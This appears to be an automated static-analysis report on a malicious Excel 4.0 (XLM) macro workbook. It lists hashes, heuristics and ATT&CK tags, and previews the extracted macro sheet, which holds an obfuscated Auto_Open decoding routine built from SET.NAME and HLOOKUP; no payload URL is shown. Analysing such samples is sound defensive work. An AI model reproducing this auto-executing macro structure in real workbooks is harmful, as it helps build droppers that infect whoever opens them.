Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 611a4be02d76e791…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:37:57 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: f96d8021514ca37e0a957b4ce8ab6605 SHA-1: ff58efd0d08477082c07b37e04e959ccf197f86a SHA-256: 611a4be02d76e7913bc6ff29cbdf1a649ce25d892884a92109aee9f1eeb89183
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating potential malicious execution. The presence of dangerous formula APIs like RUN suggests the macro is designed to execute arbitrary commands. Without further script content, the exact payload and destination remain unknown, but the execution vector is clear.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6916 bytes
SHA-256: be1c3bb3248530582225b9380f03b829063f949203980cdea2d524f867c94065
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  dctNKlkNafu
' 0018     24 LABEL : Cell Value, String Constant - AkzDJvYyW len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B181 
' 0018     20 LABEL : Cell Value, String Constant - aVUaW len=0 
' 0018     27 LABEL : Cell Value, String Constant - DQwnXOMhjIEW len=0 
' 0018     26 LABEL : Cell Value, String Constant - FEfSQusKZNT len=0 
' 0018     23 LABEL : Cell Value, String Constant - jCiUrVaA len=0 
' 0018     26 LABEL : Cell Value, String Constant - jxzjxwxOQDA len=0 
' 0018     27 LABEL : Cell Value, String Constant - jyAqQIzJEoPT len=0 
' 0018     21 LABEL : Cell Value, String Constant - kktimK len=0 
' 0018     27 LABEL : Cell Value, String Constant - KUMwpAawUhwq len=0 
' 0018     27 LABEL : Cell Value, String Constant - leWdVCIVpxlX len=0 
' 0018     26 LABEL : Cell Value, String Constant - LrUGOPFUFWI len=0 
' 0018     21 LABEL : Cell Value, String Constant - nwNAay len=0 
' 0018     27 LABEL : Cell Value, String Constant - puaTegOzWrvw len=0 
' 0018     22 LABEL : Cell Value, String Constant - quhFHOt len=0 
' 0018     24 LABEL : Cell Value, String Constant - sNCiIzNhl len=0 
' 0018     21 LABEL : Cell Value, String Constant - XHeRIW len=0 
' 0018     24 LABEL : Cell Value, String Constant - xIpyZzNeE len=0 
' 0018     22 LABEL : Cell Value, String Constant - yihiuid len=0 
' 0018     20 LABEL : Cell Value, String Constant - YpcoS len=0 
' 0018     24 LABEL : Cell Value, String Constant - YrHjnnWkn len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  dctNKlkNafu,T70,"",-742.00000000000000000000
'  dctNKlkNafu,T71,"",-670.00000000000000000000
'  dctNKlkNafu,T72,"",-236.00000000000000000000
'  dctNKlkNafu,T73,"",793.00000000000000000000
'  dctNKlkNafu,T74,"",-753.00000000000000000000
'  dctNKlkNafu,T75,"",-98.00000000000000000000
'  dctNKlkNafu,B89,"SET.NAME("yihiuid",0+VALUE("0"))",""
'  dctNKlkNafu,B94,"SET.NAME("AkzDJvYyW",yihiuid)",""
'  dctNKlkNafu,B97,"SET.NAME("jyAqQIzJEoPT",yihiuid)",""
'  dctNKlkNafu,B100,"SET.NAME("jCiUrVaA",COUNTA(KUMwpAawUhwq))",""
'  dctNKlkNafu,B103,"SET.NAME("quhFHOt",COUNTA(DQwnXOMhjIEW))",""
'  dctNKlkNafu,B105,[],""
'  dctNKlkNafu,B110,"SET.NAME("LrUGOPFUFWI","")",""
'  dctNKlkNafu,B113,"AkzDJvYyW",""
'  dctNKlkNafu,B116,"SET.NAME("jxzjxwxOQDA",HLOOKUP("*",KUMwpAawUhwq,AkzDJvYyW,FALSE))",""
'  dctNKlkNafu,B121,"sNCiIzNhl",""
'  dctNKlkNafu,B124,"SET.NAME("xIpyZzNeE",yihiuid)",""
'  dctNKlkNafu,B126,[],""
'  dctNKlkNafu,B128,"xIpyZzNeE",""
'  dctNKlkNafu,B133,"leWdVCIVpxlX",""
'  dctNKlkNafu,B138,"YrHjnnWkn",""
'  dctNKlkNafu,B140,"puaTegOzWrvw",""
'  dctNKlkNafu,B144,"SET.NAME("nwNAay",VALUE(HLOOKUP("*",DQwnXOMhjIEW,puaTegOzWrvw,FALSE)))",""
'  dctNKlkNafu,B147,"YpcoS",""
'  dctNKlkNafu,B151,"LrUGOPFUFWI",""
'  dctNKlkNafu,B155,"jyAqQIzJEoPT",""
'  dctNKlkNafu,B157,NEXT(),""
'  dctNKlkNafu,B162,"aVUaW",""
'  dctNKlkNafu,B166,[],""
'  dctNKlkNafu,B168,"FEfSQusKZNT",""
'  dctNKlkNafu,B173,NEXT(),""
'  dctNKlkNafu,B177,RETURN(),""
'  dctNKlkNafu,B205,"SET.NAME("XHeRIW",B89)",""
'  dctNKlkNafu,B208,"KUMwpAawUhwq",""
'  dctNKlkNafu,B210,"SET.NAME("DQwnXOMhjIEW",R89C13)",""
'  dctNKlkNafu,B212,"SET.NAME("FEfSQusKZNT",223)",""
'  dctNKlkNafu,B217,"SET.NAME("kktimK",2)",""
'  dctNKlkNafu,B222,XHeRIW(),""
'  dctNKlkNafu,B223,HALT(),""

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